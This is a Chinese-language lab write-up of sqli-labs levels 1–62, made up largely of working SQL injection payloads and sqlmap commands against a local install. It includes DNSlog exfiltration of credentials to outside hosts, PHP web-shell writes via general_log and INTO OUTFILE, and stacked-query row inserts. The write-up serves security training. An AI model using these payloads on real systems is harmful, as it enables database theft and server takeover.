sqli-labs通关全详解

前言

我们下面进行第一个漏洞——SQL注入的学习,SQL注入是十大漏洞之一,较为常见,算是Web安全入门必学漏洞。我们之前一直都以CTFHub为主线进行学习,但由于SQL注入细节较多,CTFHub的题目并不能深入学习。为探讨清楚SQL注入的诸多细节,我们特以经典的sqli-labs为支线进行从入门到进阶的强化训练

在做题过程中,作者把用到的知识进行了全面、详细、系统的总结,所以为了方便学习,查阅完全适配此文的总结是必不可少的(怎么可以光训练不去学习、总结呢)

作者的总结:SQL注入全详解-CSDN博客

sqli-labs安装与配置请参考:SQL注入之sqli-labs(安装与配置) - FreeBuf网络安全行业门户

Less-1

1、手工UNION联合查询注入

首页面

按提示输入   

?id=1

有回显,尝试多次,发现id从1开始输出不同的用户,如id=1时,有用户名Dump

?id='

输入单引号,页面报错,You have an error in your SQL syntax;

应该是有注入漏洞,当然,这里肯定有注入漏洞

?id=1 and 1=2

似乎是字符型注入

?id=1'

报错   ' '1'' LIMIT 0,1 '  ,可以看出输入了1‘,根据报错信息确定咱们输入内容放到一对单引号中,脑补一下咱们输入的内容在数据库出现的位置:select ... from ... where id=’1’  LIMIT 0,1 ......,确定是字符型注入

?id=1' union select 1,2,3--+

递增尝试,从select 1 --+到select 1,2,3 --+,没有报错但为什么没显示1,2,3?

这里就涉及到了联合查询的一个知识点,如果联合查询前面条件为真,后面语句就不执行了,所以我们需要让联合查询前面条件为假,怎么让联合查询为假?

我们可以直接使用-1,或者是使用更大的数字,但是-1肯定不存在,因为id一般是无符号整型,经尝试,0也可以。

还要注意转义,空格转义成‘+‘,-- 应写为--+(所有get传参中,都要进行url编码。“+“在url编码中代表空格)

在线URL 编码/解码工具URL 编码/解码 - 锤子在线工具

?id=0' union select 1,2,3 --+

换成0后,联合查询前面的条件为假,我们再次逐次尝试,发现select 1,2,3时能够正常显示,表明有3项数据传回,其中1所在位置不显示,2所在位置显示在Your Login name: ,3所在位置显示在Your Password: 。可以在2,3所在位置下手。

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+

爆表名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆列名

?id=0' union select 1,group_concat(username,':',password),3 from users --+

爆用户数据,其实与之前id一一对应,id=1时,正是用户Dump

2、手工报错型注入

法一、floor()报错注入

?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

?id=1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

?id=1' union select 1,count(*),concat_ws('~',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x--+

发现显示了id=1的用户Dump,改一改试试?

?id=0' union select 1,count(*),concat_ws('~',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x--+

改了之后用户数据全部出来,但不是报错型注入(未从报错中显示)

?id=-1' union select 1,count(*),concat_ws('~',(select concat(username, '~',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

#limit 0,1从第一行开始显示一行数据

这才是报错型注入,可用limit逐行输出

法二、extractValue()报错注入

?id=-1' and extractvalue(1,concat(0x7e,(select database()))) --+

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users')))--+

查询后发现不是我们想要的,可能是查错表了

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))--+

加上库名,防止有重名的表

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users)))--+

发现查的不全,默认只能返回32个字符,可以用substring()函数解决

?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,':',password) from users),1,32))) --+

用substring先查32个字符

?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,':',password) from users),32,32))) --+

再查32个,依次往下查

法三、updateXml()报错注入

?id=1' and updatexml(1,concat(0x7e,(database())),'1')--+

后续与extractValue()报错注入相似

Less-2

?id=1 and 1=2

查不出来,似乎是数字型注入

?id=1'

报错  '' LIMIT 0,1'  ,输入的内容直接放在数据库里,是所谓的数字型注入

?id=0 union select 1,2,3 --+

不加单引号也能查,确定是数字型注入

后续步骤相似,仅把第一题?id=0后面的单引号去掉

Less-3

?id=1'

报错  ''1'') LIMIT 0,1'  ,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,脑补一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) LIMIT 0,1  ...

后续步骤相似,仅把第一题?id=0’的后面加上)

Less-4

?id=1"

报错  '"1"") LIMIT 0,1'  ,包裹在(“”)中

后续步骤类似,仅把第一题?id=1后面改为”)

Less-5

1、手工报错注入

?id=1

不再显示用户名与密码,UNION联合查询型注入不能用了,估计要用报错注入或盲注。

先来报错注入

?id=-1' and extractvalue(1,concat(0x7e,(select database())))--+

还好,报错注入还好使,(报错也是一种回显,可以借此显示出我们想要的信息)

剩下步骤不再重复

2、盲注

盲注比较繁琐,往往会用sqlmap等自动注入工具。但是盲注会发送大量请求,占用服务器,容易被禁ip,往往不被优先考虑。

这里先不引入工具的使用。小伙伴们最好不要过度依赖工具,工具确实是比较强大、方便的,前面几个题用工具的话很容易出用户数据,但只使用工具的话和没学一样,练熟练基本功才会有后续提升。

而且对于盲注来说,能自己写出脚本才能算真正学会,这里先不进行介绍,下文会有。

sqlmap盲注步骤详见less-7。

Less-6

?id=1"

显然是用双引号闭合

报错注入或时间盲注(以报错注入为例,盲注的例子可以看less-7)

?id=-1" and extractvalue(1,concat(0x7e,(select database()))) --+

然后就是常规流程

Less-7

DNS log注入

?id=1'

报语法错误,但不能看出有用信息

试了试,报错注入不能用了,因为报不出有用信息。

按常规考虑,应该进行布尔盲注或者时间盲注,但是盲注一般使用sqlmap跑,不能有效训练我们。

难道这里只能用工具了吗?

当然不,我们这里用一个巧妙地方法——DNSlog注入,这种方法相对于盲注来说请求个数更少(和常规注入个数一样),可以手动操作(减少禁ip的风险)

?id=1                  You are in.... Use outfile......提示用文件

?id=1'''''             回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合

?id=1'--+              回显You have an error in your SQL syntax

...

...

...

?id=1'))--+            You are in.... Use outfile...... 

说明是字符型注入闭合是   '))

不知道为啥?id=1'‘--+这里也可以,但后续步骤又不行,大家这步可以讨论一下

正式开始注入

尝试用and去注入不太行,换成union

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.qefbk8.dnslog.cn\\abc')),2,3--+

随便找个在线16进制字符串转换工具进行转换

在线16进制字符串转换工具 - 在线工具网

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(table_name) from information_schema.tables where table_schema = database()))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+

?id=-1')) union SELECT LOAD_FILE(CONCAT('\\\\',substr((SELECT HEX((select group_concat(username,'~',password) from users ))),1,63),'.ms5sju.dnslog.cn\\abc')),2,3--+

DNS log注入还有别的应用方法(可以了解一下):

sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)

sqli-labs-master 过关 1-10 (附解题思路及各注入方法解析)_lfi-labs-master闯关-CSDN博客

盲注

直接用sqlmap。

检测「注入点」

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1

输入后会问几个问题,根据情况做出选择(影响不大),如果懒得答,加上--batch 参数(--batch:进行默认选择,不需要手动输入YES or NO)。

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 --batch

扫出布尔盲注、时间盲注漏洞

查看当前使用的数据库

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 --current-db

查看「数据表」

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security --tables

查看「字段」

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security -T users --columns

查看「数据」

python sqlmap.py -u http://localhost/sqli-labs/Less-7/?id=1 -D security -T users --dump

用工具虽然方便,但终究体现不出我们的水平,真正的安全工程师可不会是脚本小子(脱离工具就不能干事),但我们先不在这里写脚本,继续往下做题自然就需要我们具备更高的能力了。

Less-8

盲注:

python sqlmap.py -u http://localhost/sqli-labs/Less-8/?id=1

DNSlog注入:

同上题

Less-9

盲注:不管怎么输入,总是you are in…… ,用布尔盲注的话判断不了,这种情况只能用时间盲注

​python sqlmap.py -u http://localhost/sqli-labs/Less-9/?id=1

竟然扫出布尔盲注漏洞?

后续同上,经验证,可以出结果

DNSlog注入也能用,同上

Less-10

盲注:不管怎么输入,也总是you are in……

时间盲注,用sqlmap

python sqlmap.py -u http://localhost/sqli-labs/Less-10/?id=1

竟然扫不出来

根据这道题的题目,应该是用双引号去闭合,这个可能对sqlmap有难度

尝试增加测试等级level(1-5,默认是1)和风险等级risk(1-3,默认是1),把这两个都设为3,跑的时间变长不少(相对而言,跑的东西也更多更细)

python sqlmap.py -u http://localhost/sqli-labs/Less-10/?id=1 --level 3 --risk 3

出来了,剩下的就不赘述了

也可以用DNSlog注入,同上

Less-11

使用burpsuite

11到21关的提交方式全是post型的。对于手动注入,也可以在界面注入,但建议配合使用burpsuite、hackbar或postman,注入会更便利;对于自动注入当然还是用sqlmap(不过我们会用burpsuite抓包并存储起来,后续会讲)。

这里我们优先考虑手动注入(hackbar的使用是最简单的,但在这里为啥不太好使,只好使用bp)

一开始是一个登录页面

简单尝试了一下,Username和Password都输入1,Submit后抓到包

然后在uname的1后面加一个单引号,点击forward放行

有sql注入漏洞,应该是联合查询注入与报错注入都有

一、联合查询注入

经尝试,有两个字段

uname=1’union select 1,2--+ and extractvalue(1,concat(0x7e,select database()))--+&passwd=1&submit=Submit

把2所在位置替换成database(),即

1’union select 1,database()--+

出库

后续步骤没啥说的,同上

二、报错注入

uname=1' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=1&submit=Submit

后续同上

直接在登录页面注入

1' union select 1,2--+

发现使username后面password有语法错误,注释不好使了?

Mysql除了--+之外还有种注释方法#

1' union select 1,2#

成功登录,可能这里直接从登录页面注入的话,会把--+处理掉,而#不会受影响,用bp就没有这种影响,这也是我们更推荐用bp原因。有些前端会有过滤,用bp一定程度上可以绕过。

报错注入显然也是可以的

Less-12

其实最好使用bp去尝试,但这里为了偷懒,直接在登录页面注入。

怎么输入也没有报错,除了加载的图片LOGIN ATTEMPT FILED之外,什么也没有,然后随便输了几个,竟然报错了

1"""""(())))))))) #

从password猜测username也是用’’)来闭合

后来再次尝试才发现,只有输入双引号时才会报错,而且输两个单引号也不可以,发现这俩是不一样的:两个单引号’’双引号”

1”

这下不用猜了

1" ) union select 1,2#

报错注入也行

Less-13

1’

可以看出是用’)闭合

1') union select 1,2#

Logged in但没显示1,2,没回显位了,联合注入不行了,用报错注入

1') and extractvalue(1,concat(0x7e,(select database())))#

Less-14

1’没反应

1”

报错,用”闭合

1" union select 1,2#

   照样没东西,用报错注入

1" and extractvalue(1,concat(0x7e,(select database())))#

Less-15

DNSlog注入

1’#

只显示登录失败

1' union select 1,2#

   显示登录成功,这样闭合和字段数都出来了

没有回显也没有报错,只好用DNSlog注入和盲注了,盲注就只用工具,先试试DNSlog注入。

1' union SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(database())),'.2icsci.dnslog.cn\\abc')),2 #

盲注

先用bp抓包

然后复制抓包的所有内容(uname不要有值),随便放入一个文件里,只要自己能找到,我一般习惯放在sqlmap文件夹里,比如E:\Users\CTFtools\sqlmap\bp抓包\less15.txt,在C:\less15.txt里也行。

post请求要用-r参数,而且使用-r参数就要像上文一样抓包写包。

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less15.txt

找到注入点

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less15.txt --current-db

成功出库

剩下的同上。

其实也可不用-r参数,不过要加上-data参数(–data命令指定payload进行注入),比如

sqlmap -u "http://localhost/sqli-labs/Less-15/?id=1" --batch --data “uname=admin&passwd=admin&submit=Submit” –dbs

还是建议使用-r参数

Less-16

也是盲注

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less16.txt

扫不出来

应该又是双引号闭合,升一下level和risk,用时还挺长

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less16.txt --level 3 --risk 3

成功注入

剩下的不必多说

Less-17

怎么输入都没用,没有啥有用的信息,反倒是一直在嘲讽我们

换sqlmap扫也扫不出来,把level和risk都升到3也没用。

查看一下源代码(这一步骤简单了解即可,真实过程咱们很难去看人家的源代码)

注意看下面这段代码。

因为只有代码中$row和$row1存在时,才能进行更新语句、返回报错,所以这里用户名一定要存在,使查询语句返回数据,而且我们不能从查询语句注入,只能从更新语句"UPDATE users SET password = '$passwd' WHERE username='$row1'"注入,注入点应该是$passwd。

这样我们就明白了,username不是注入点,password才是,而且我们还要有用户名,这里应该模拟的是我们在某网站登上自己的账号后,利用修改密码来获取数据库里的其他用户数据。

那这就好说了,我们就用之前爆出来的第一个用户Dumb。

试了试,联合注入不好使,但是有报错。

那就报错注入

Dumb' and extractvalue(1,concat(0x7e,(select database())))#

出数据库了,哈哈哈,bug off you silly dumb website builder

Less-18

手动User-Agent注入

输入内容,没啥用,从题目来看是Header注入中的User-Agent注入,那就要从User-Agent入手了

这题也要在登录页面输入Dumb账户

抓包(带有Dumb账户),在User-Agent后加单引号,放包

我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将User-Agent字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。我们要注意U-A字段后面还有两个参数(合三个参数),所以我们在构造时候也需要有三个参数。因为我们用#号把后面(ip和账户名)都注释了。

1’,2,3)#

有报错,用报错注入

1',2,(extractvalue(1,concat(0x7e,(select database())))))#

如果不是三个参数

我们其实还有种方法,因为U-A后面还有两个参数,我们肯定不能直接用--+或#去注释掉,但是我们可以用别的注释方法,比如下面这条,

' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1

写入这条语句后,实际语句就是……’Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1’……,注意前后都加的单引号,这样一看,语句没毛病啊。

自动U-A注入

下面到了sqlmap环节

抓包,在http请求头的user-agent内容后面加上一个*号,写入txt,

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less18.txt

这个问题答yes(当然也可以在写命令指令的时候加上相应参数)

其他问题看情况随便答答,稍等一会

Less-19

手动Referer注入

看题目就知道,是Header注入中的referer注入,

还是像之前一样,输入Dumb,抓包,记得在referer后面加单引号,

有报错,用报错注入,注意有两个参数

自动Referer注入

抓包,写包,在Referer后面加*

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less19.txt

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less19.txt --current-db

Less-20

手动cookie注入

登录,这么多回显,似乎有很多注入方法,尝试过后,只有cookie注入

抓包,Cookie后加单引号

' and extractvalue(1,concat(0x7e,(select database())))#

自动Cookie注入

抓包,写包(会抓到很多包,不要写错了,参考下图),在cookie后面加*

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\1.txt

Less-21

一样是cookie注入,抓包,从格式看cookie应该是经过base64编码过了(不了解的可以查一查,一种基础编码方式)

找个Base64 在线工具Base64 在线编码解码 | Base64 加密解密 - Base64.us

好说,和之前一样,不过我们写的注入语句也应该编码

报错了,考虑到我们用的Dumb’,应该是’)闭合

自动也可以,先加上*

python sqlmap.py -r E:\Users\CTFtools\sqlmap\bp抓包\less21.txt --tamper base64encode.py

要带个脚本,以便base64编码

Less-22

和上题基本一样,但用Dumb’不好使,要换成双引号

闭合正好是用双引号

Less-23

Get注入

?id=1',用单引号闭合

有报错,但常规报错注入不太行,说是过滤了注释符

但是可以参考之前一种情况

?id=1' and extractvalue(1,concat(0x7e,(select database()))) and '1' ='1

然后id因为外面还有一层单引号,所以实际是‘1' and extractvalue(1,concat(0x7e,(select database()))) and '1' ='1’,一点毛病没有

联合注入也是可以的

?id=-1' union select 1,2,3'

或者

?id=-1' union select 1,2,3 or '1' = '1

这就绕过了过滤

Sqlmap也可以,像之前一样,用-u参数就行

Less-24

我们直接在登录或注册界面注入都会被过滤,而且忘记密码界面什么也没有,这个题是二次注入。

首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin。

我们利用带有管理员账号的注册用户名,然后在修改密码的时候达到修改管理员账号密码的效果。

注册用户名:admin’ or ‘1’=’1  密码为 admin(随便设置),

注册成功后,登录进去修改密码,将密码改为 123,

更改后即可发现,admin用户的密码也被改成了123,

自行脑补一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’(完美闭合,语句没毛病)

也可以注册一个账号名叫admin'#。

UPDATE users SET PASSWORD='111111' where username='admin' # ' and password='admin原来的密码'

(这个题感觉有些问题,只显示登录成功,重启了好几次也不行,具体思路就是这样,先不管了)

Less-25

估计过滤了or和and,试了试,果然如此

大小写绕过也没啥用

?id=1' AnD extractvalue(1,concat(0x7e,(select database())))--+

用可以变形

?id=1' %26%26 extractvalue(1,concat(0x7e,(select database())))--+

%26%26是url编码,是&&的意思(见下图)

用嵌套也可以(双写绕过),应该是一次过滤

?id=1' ANandD extractvalue(1,concat(0x7e,(select database())))--+

联合查询也是可以的

?id=1' union select 1,2,3--+

我们可以采用双写绕过,information里面涉及or可以写成infoorrmation,注意password应该改成passwoorrd,防止过滤掉单词里的or

Less-25a

?id=1--+

这题是整数型注入,不用闭合,过滤和上题相同。

报错注入不好使了,有报错但是报错是固定的,告诉你错了但是不告诉你具体哪里错了。

?id=1 ANandD extractvalue(1,concat(0x7e,(select database())))--+

用联合注入,和上题类似(不用闭合)

Less-26

将and、or,注释符以及空格给过滤了,双写绕过或者使用&&和||替换。

常规代替空格的字符:

%09 TAB 键(水平)

%0a 新建一行

%0b TAB 键(垂直)

%0c 新的一页

%0d return 功能

%a0 空格

/**/ 注释

这题基本上把所有可替代空格的都过滤了。但是空格的作用还可以用括号代替。

可以用||加报错注入

?id=1'||extractvalue(1,concat(0x7e,(SelEct(database()))))||'0

也可以用联合注入(%00截断?),注意联合注入不能用||'0闭合

?id=1'union(select(1),(2),(3));%00

?id=0'union(select(1),(2),(select(database())));%00

......

?id=0'union(select(1),(2),(group_concat(username,'~',passwoorrd))from(users));%00

Less-26a

用’)闭合,有报错但是报错是固定的,报错注入不好使

用联合注入,和上题类似

?id=0')union(select(1),(2),(select(database())));%00

Less-27

union、select、空格以及注释符都会被过滤

我们可以大小写绕过以及重写绕过,空格可以用其他符号代替,例如()、'%09等。

报错注入

?id=1'||extractvalue(1,concat(0x7e,(SelEct(database()))))||'0

联合注入也可以(注意看图片底部显示的语句)

?id=0'%09UnIoN%09SelEcT%091,2,(SelEcT(database()));%00

Less-27a

用”闭合,有报错但是报错也是固定的,报错注入不好使

联合注入,和上题类似

?id=0"%09UnIoN%09SelEcT%091,2,(SelEcT(database()));%00

Less-28

闭合是'),过滤了空格,当union select相邻出现时一起过滤。

有报错但是报错是固定的,报错注入不好使

?id=0')uNIOn(sELEct(1),(2),(select(database())));%00
?id=0')union(select(1),(2),(select(database())));%00

也好使,应该是用(把它们断开了,识别不了。

Less-28a

闭合不变,空格不被过滤

报错注入还是不好使,联合注入那就随便写了,注意union select不要相邻出现(可以直接照搬上题)

Less-29

手动绕过防火墙

这里说这是世界上最好的防火墙

看我操作

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,其余的没有校验。如果我们有两个id参数,第一个id参数应是正常数字,第二个id参数可以进行sql注入。

查看源代码,发现原来是:get提交的参数如果重名则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值,但是验证id是否是数字却只是验证了第一个id参数,所以可以在后面的参数注入。

实际过程中可能没机会看源代码,这里是培养我们尝试多个参数的意识

?id=1 & id=0' union select 1,2,3--+

(#注释不好使,只好用--+)

报错注入也可以

?id=1 & id=0' and extractvalue(1,concat(0x7e,(select database())))--+

自动绕过

直接就扫出来了

python sqlmap.py -u http://localhost/sqli-labs/Less-29/?id=1 --dbms mysql –batch

当然也可以用参数--tamper

Less-30

第30关跟29关差不多,只不过30关用双引号闭合

Payload:

?id=1 & id=0"union select 1,2,3--+

用sqlmap要升一升level,--level 3就可以

Less-31

第31关跟30关差不多,只不过31关用”)闭合

Payload:

?id=1 & id=0")union select 1,2,3--+

用sqlmap要升一升level,--level 3就可以

Less-32

使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。

因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。具体利用的话我们可以用%df 吃掉 \(%5c)

因为urlencode(\') = %5c%27,如果我们在 %5c%27前面添加 %df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c当做是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时也就达到了我们的目的。

联合注入

?id=0%df%27union%20select%201,2,3--+

后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,

?id=0%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+

报错注入

?id=0%df%27and%20extractvalue(1,concat(0x7e,(select%20database())))--+

Less-33

本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符如下:

由此看来与32关过滤防御方式基本是一样的,payload不变。

Less-34

POST注入+宽字节注入

抓包、改包、放包

1%df' union select 1,2--+

报错注入也行

1%df' and extractvalue(1,concat(0x7e,(select database())))--+

Less-35

数字型注入,不需要闭合。

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

Payload:

?id=0 union select 1,2,3#

Less-36

使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,payload和前面三十二关一样

Less-37

三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。payload和三十四关一样。

Less-38

常规堆叠注入

下面就开启堆叠注入了

三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

其实直接用联合注入就可以,但是堆叠注入有自己的独特优势,比如建立新用户、删库等,这里还是要尝试一下。

?id=0' union select 1,2,3;insert into users(id,username,password) values ('25','myname','meaning')--+

只演示创建新用户(用户名啥的可以自己随便写),就不删库了,后续做题还得用,但用法都是一样的

?id=25--+

成功写入

DNSlog外带配合堆叠注入也是可以的,

?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+

开启日志 Getshell

需要条件:

  1. Web 的物理路径(注意是物理路径,这里我们用的是phpstudy,地址应该是E:\PhPstudy\phpstudy_pro\WWW\sqli-labs,phpstudy所在的地址每个人都不一定一样,根据自己的来)
  2. MySQL 可以读写 Web 目录(需要注入手动开启)
  3. Windows 成功率 高于 Linux。

首先进入mysql查看当前的日志的相关配置:默认是没有开启的(OFF)

SHOW VARIABLES LIKE 'general%';

这里尝试注入的时候手动开启:

?id=1';set global general_log = "ON";set global general_log_file='E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\shell.php';--+

这里的general_log_file可以根据自己的web物理路径来写,要能找到。

尝试 getshell:

?id=1';select <?php phpinfo();?>

日志里面就会记录 <?php phpinfo();?>, 查看一下日志文件

可以直接在浏览器上打开http://localhost/sqli-labs/shell.php

如果能找到所在位置,也可以直接双击shell.php打开

Less-39

和上题差不多,不过是整数型注入,不需要闭合

?id=0 union select 1,2,3;insert into users(id,username,password) values('26','yourname','meaning') --+

?id=26--+

Less-40

四十关id参数是单引号加括号闭合,然后使用联合注入就可以了

Less-41

和三十九关差不多,id是整数型,不需要闭合。

和第39关唯一区别就是没有了报错信息。

Less-42

点forgot your password?和New User click here?都说去hack出账户出来,没什么有用信息。

抓包

login_user=1'&login_password=1'&mysubmit=Login

有报错,用单引号闭合

login_user=1'&login_password=1'&mysubmit=Login

报错消失了,说明login_user不是注入点

试试login_password

login_user=1'&login_password=1'&mysubmit=Login

有报错了,注入点是login_password

login_user没报错,而login_password有报错,应该是账户进行了转义处理,而密码没有做处理,但数据库没有使用gbk编码,所以不能向上面一样使用宽字节注入。

我们可以不用login_user,在login_password注入

login_user=&login_password=1' union select 1,2,3--+&mysubmit=Login

登录成功,2的位置有回显

1' union select 1,(select database()),3--+

之前看到还有报错,试试报错注入,也可以

login_user=&login_password=1' and extractvalue(1,concat(0x7e,(select database())))--+&mysubmit=Login

别忘了存在堆叠注入函数,所以我们可以在密码那里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

login_user=&login_password=1';insert into users(id,username,password) values('27','27','27')--+&mysubmit=Login

登录成功

Less-43

和四十二关差不多,就是密码参数是单引号和括号闭合的。

1') union select 1,(select database()),3--+

Less-44

也和 Less-42 差不多,因为没有输出报错信息,所以这里少了报错注入的利用方式。

1' union select 1,(select database()),3--+

Less-45

和44关区别就在于,闭合变成了')。同样没有报错信息。

Less-46

常规注入

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以报错注入。

?sort=1 and extractvalue(1,concat(0x7e,(select database())))--+

还可以用盲注

python sqlmap.py -u http://localhost/sqli-labs/Less-46/?sort=1

导入文件和getshell

发现可以·将查询结果导入到文件中:

?sort=1 into outfile "E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-46\\less46.txt"

利用导入文件 getshell:

lines terminated by 姿势用于 order by 的情况 getsgell。

?sort=1 into outfile " E:\\PhPstudy\\phpstudy_pro\\WWW\\sqli-labs\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

不知道为啥出错,大家可以讨论一下

Less-47

四十六差不多,多了一个单引号闭合,还是用报错注入

Less-48

和四十六一样,只不过没有报错显示,要用盲注

Less-49

和四十七关差不多,用单引号闭合。不过没有报错显示,所以使用盲注。

Less-50

和四十六关一样,可以进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以盲注。

堆叠的利用可以借鉴三十八关代码。

Less-51

该参数单引号闭合,可以报错注入,可以堆叠注入,可以盲注。

Less-52

该参数是整数型,且没有报错显示,只能堆叠注入或者盲注。

Less-53

参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和盲注。

Less-54

下面进入challenges了

用网页翻译,发现我们需要要拿到密钥并提交,而且只有十次输入机会,超过十次所有表名、列名等等都会随机重置。

Keeping it fresh at all times!!!

?id=1      回显DUMB的账号密码

?id=1'     无回显,不显示报错

(后续尝试,   ?id=1’--+      回显DUMB的账号密码)

没有报错时。不加注释无回显(此时常规情况下应该报错所以没有回显),加注释后回显(成功代替掉后面的闭合)。id参数应该是是单引号闭合。

根据经验,应该返回3个参数,直接爆表

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='0pdfwuxz90'--+

注意上面这个是我查到的表名,每个人不一样的表名,payload需要用自己的表名

?id=0' union select 1,2,group_concat(secret_KQ9Q) from 0pdfwuxz90--+

字段名也不一样

恭喜你获得成功了(密钥也不一样)

Less-55

14次机会

?id=1      回显DUMB的账号密码

?id=1--+  无回显,不显示报错

?id=1'--+  无回显,不显示报错

?id=1”--  无回显,不显示报错

?id=1)    无回显,不显示报错

?id=1)--+  回显DUMB的账号密码

id参数是加了括号的整数

?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

剩下的不多做赘述

Less-56

和前面两关类似,需要单引号和括号闭合。

Less-57

和前几关差不多,双引号闭合

Less-58

测出闭合是单引号,回显位数是3。但是这里联合注入用不了。

因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入不行。但是有报错显示,所以可以使用报错注入。

?id=0' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema =database())))--+

?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='bs9axfdm1g')))--+

?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_2I9U) from bs9axfdm1g)))--+

也可用盲注

Less-59

和58关一样,但是是数字型,无闭合。

Less-60

和58关一样,闭合变成了双引号加括号")。

Less-61

和58关一样,闭合变成了单引号加两个括号'))。

Less-62

这关开始没有报错信息了。闭合是单引号加括号')'。给了130次尝试机会。

用盲注

python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1

python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 --current-db

python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 -D challenges –-tables

python sqlmap.py -u http://localhost/sqli-labs/Less-62/?id=1 -D challenges –T m92drmwvjp –-columns

再尝试发现不行,130次的次数限制

